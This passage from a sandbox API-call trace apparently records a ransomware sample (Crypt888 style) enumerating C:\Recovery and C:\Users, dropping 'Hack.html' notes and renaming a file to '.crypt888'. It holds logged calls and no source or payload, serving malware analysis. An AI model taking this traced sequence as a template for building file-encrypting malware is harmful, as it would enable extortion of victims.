lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.840] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.841] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0071.841] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpFilePart=0x0) returned 0x31 [0071.841] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a1a8 [0071.841] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.841] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.841] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.841] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.841] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.842] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Hack.html", lpFilePart=0x0) returned 0x3a [0071.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.842] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Hack.html" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.842] GetFileType (hFile=0x174) returned 0x1 [0071.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.842] GetFileType (hFile=0x174) returned 0x1 [0071.842] WriteFile (in: hFile=0x174, lpBuffer=0x2843540*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2843540*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.843] CloseHandle (hObject=0x174) returned 1 [0071.843] GetFullPathNameW (in: lpFileName="C:\\Recovery\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\Hack.html", lpFilePart=0x0) returned 0x15 [0071.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0071.843] CreateFileW (lpFileName="C:\\Recovery\\Hack.html" (normalized: "c:\\recovery\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.844] GetFileType (hFile=0x174) returned 0x1 [0071.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0071.844] GetFileType (hFile=0x174) returned 0x1 [0071.844] WriteFile (in: hFile=0x174, lpBuffer=0x2845c98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x2845c98*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0071.845] CloseHandle (hObject=0x174) returned 1 [0071.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0071.845] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0071.845] GetFullPathNameW (in: lpFileName="C:\\System Volume Information\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information\\", lpFilePart=0x0) returned 0x1d [0071.845] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0xffffffff [0071.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf0) returned 1 [0071.846] GetFullPathNameW (in: lpFileName="C:\\System Volume Information\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information\\Hack.html", lpFilePart=0x0) returned 0x26 [0071.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0071.847] CreateFileW (lpFileName="C:\\System Volume Information\\Hack.html" (normalized: "c:\\system volume information\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0071.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39db58) returned 1 [0071.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0071.848] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0071.848] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0071.848] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a1a8 [0071.848] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.850] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.850] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0071.850] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0071.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0071.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0071.850] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0071.850] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0071.850] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a1a8 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.851] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.852] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.852] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0071.852] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0071.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0071.852] GetFullPathNameW (in: lpFileName="C:\\Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e818, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Hack.html", lpFilePart=0x0) returned 0x12 [0071.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed0c) returned 1 [0071.852] CreateFileW (lpFileName="C:\\Users\\Hack.html" (normalized: "c:\\users\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.852] GetFileType (hFile=0x174) returned 0x1 [0071.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed08) returned 1 [0071.853] GetFileType (hFile=0x174) returned 0x1 [0071.853] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ee14 | out: lpFileSizeHigh=0x39ee14*=0x0) returned 0xba [0071.853] ReadFile (in: hFile=0x174, lpBuffer=0x284976c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39edc0, lpOverlapped=0x0 | out: lpBuffer=0x284976c*, lpNumberOfBytesRead=0x39edc0*=0xba, lpOverlapped=0x0) returned 1 [0071.853] CloseHandle (hObject=0x174) returned 1 [0071.896] GetFullPathNameW (in: lpFileName="C:\\Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Hack.html", lpFilePart=0x0) returned 0x12 [0071.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.896] CreateFileW (lpFileName="C:\\Users\\Hack.html" (normalized: "c:\\users\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.897] GetFileType (hFile=0x174) returned 0x1 [0071.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf0) returned 1 [0071.897] GetFileType (hFile=0x174) returned 0x1 [0071.897] WriteFile (in: hFile=0x174, lpBuffer=0x2897898*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed84, lpOverlapped=0x0 | out: lpBuffer=0x2897898*, lpNumberOfBytesWritten=0x39ed84*=0xc0, lpOverlapped=0x0) returned 1 [0071.898] CloseHandle (hObject=0x174) returned 1 [0071.898] GetFullPathNameW (in: lpFileName="C:\\Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e938, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Hack.html", lpFilePart=0x0) returned 0x12 [0071.899] GetFullPathNameW (in: lpFileName="C:\\Users\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e938, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Hack.html.crypt888", lpFilePart=0x0) returned 0x1b [0071.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed98) returned 1 [0071.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\Hack.html" (normalized: "c:\\users\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ee14 | out: lpFileInformation=0x39ee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8926880, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xb8926880, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xbc0caac0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0071.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed94) returned 1 [0071.899] MoveFileW (lpExistingFileName="C:\\Users\\Hack.html" (normalized: "c:\\users\\hack.html"), lpNewFileName="C:\\Users\\Hack.html.crypt888" (normalized: "c:\\users\\hack.html.crypt888")) returned 1 [0071.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0071.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpFilePart=0x0) returned 0x1e [0071.900] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a6e8 [0071.900] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.900] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.900] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.900] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.901] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.902] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.903] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.904] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.905] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.905] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0071.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpFilePart=0x0) returned 0x1e [0071.905] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a6e8 [0071.905] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.906] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.908] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.909] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.909] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.909] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.909] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.909] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0071.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpFilePart=0x0) returned 0x26 [0071.909] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a6e8 [0071.910] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.910] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.910] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.910] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.910] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.910] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0071.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpFilePart=0x0) returned 0x26 [0071.911] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a6e8 [0071.911] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.911] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.911] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.911] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.911] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.911] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0071.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpFilePart=0x0) returned 0x2c [0071.912] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", 